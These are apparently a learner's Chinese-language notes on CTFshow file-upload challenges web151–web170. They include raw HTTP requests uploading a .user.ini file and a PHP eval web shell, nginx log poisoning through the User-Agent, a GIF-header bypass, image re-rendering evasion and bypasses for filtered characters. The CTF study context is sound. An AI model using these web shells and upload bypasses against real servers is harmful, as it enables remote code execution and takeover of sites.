开始
web151
后端无验证,考虑在浏览器中修改前端代码
web152
\u6587\u4ef6\u7c7b\u578b\u4e0d\u5408\u89c4
这为何能提示文件内容不合规
Content-Type: image/png
关键字段
此题有后端验证
web153
上传.ini
文件
.user.ini中写auto_append_file=1.txt
(auto_prepend_file=1.txt
也可,二者区别是是在脚本执行前或脚本执行后加载文件)
修改Content-Type
发.user.ini
POST /upload.php HTTP/1.1 Host: 848be834-1c62-42ba-b6fb-67e17d0797f2.challenge.ctf.show Content-Length: 204 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEVXGJZAVO5a3WfZC Origin: http://74d67792-c98e-45af-b9c1-5e1cf135b05d.challenge.ctf.show Referer: http://74d67792-c98e-45af-b9c1-5e1cf135b05d.challenge.ctf.show/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 Connection: close ------WebKitFormBoundaryEVXGJZAVO5a3WfZC Content-Disposition: form-data; name="file"; filename=".user.ini" Content-Type: image/png auto_append_file=1.txt ------WebKitFormBoundaryEVXGJZAVO5a3WfZC--
发1.txt
POST /upload.php HTTP/1.1 Host: 848be834-1c62-42ba-b6fb-67e17d0797f2.challenge.ctf.show Content-Length: 204 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEVXGJZAVO5a3WfZC Origin: http://74d67792-c98e-45af-b9c1-5e1cf135b05d.challenge.ctf.show Referer: http://74d67792-c98e-45af-b9c1-5e1cf135b05d.challenge.ctf.show/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 Connection: close ------WebKitFormBoundaryEVXGJZAVO5a3WfZC Content-Disposition: form-data; name="file"; filename="1.txt" Content-Type: image/png <?php eval($_POST[1]);?> ------WebKitFormBoundaryEVXGJZAVO5a3WfZC--
若出现回显,则可尝试命令执行
回显:Notice: Undefined offset: 1 in /var/www/html/upload/1.txt on line 1
疑问:在这个在线环境中,如果上传多个.user.ini或多个1.txt会导致回显异常,这是怎么回事呢
web154
对上传的文件内容检测,要求不能包含php,考虑替换为短标签
web156
[]
被ban可用{}
web157
;
被ban,要求POST
之后不能跟任意括号,考虑使用array_pop()
方法把$_POST
的最后一个内容弹出,尝试执行
web158
同上题
web159
不让用括号,适用include
为何写马的机会只有一次?
写错了后面就没法执行了
web160
空格不让用就换成0d,换行符
.user.ini
auto_append_file=1.txt
1.txt
<?php include '/var/lo'.'g/nginx/access.lo'.'g'?>
ua
<?php eval($_POST[1]);?>
问题提示?
Notice: Undefined offset: 1 in /var/log/nginx/access.log on line 23
为何要使用/upload/呢,少了最后一个/就没法成
web160
GIF89a绕过
文件头基操
web161
ip地址转换为长地址,不包含.
这是远程地址包含
需要远程服务器,稍后尝试
这道题也可用session竞争,只是远程包含不需要竞争条件,做起来比较方便
copy shell.jpg /b+txt.php/a jshell.jpg
web165
CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality二次渲染,马可能被过滤
绕过服务器对图片的二次渲染
图片需要精细挑选
web166
压缩包包含,一般来说.zip文件不会被解析,这个题目点击下载文件返回html内容,很奇怪,回显内容没看到eval的马,但是使用post能传参数能RCE
web167
httpd和htaccess有什么关系??
web168
基础免杀,上传php后缀文件,数据包内反引号内写动态函数,达到RCE
web169
高级免杀,想要包含日志文件,目录下需要有index.php文件,才可包含/var/log/nginx/access.log,故先上传个任意内容的index.php,然后再.user.ini包含日志,通过马RCE
web170
与上题类似,有时浏览器没有回显,但是burpsuit有回显,需要使用phpinfo();标记,比较好观察
到此完结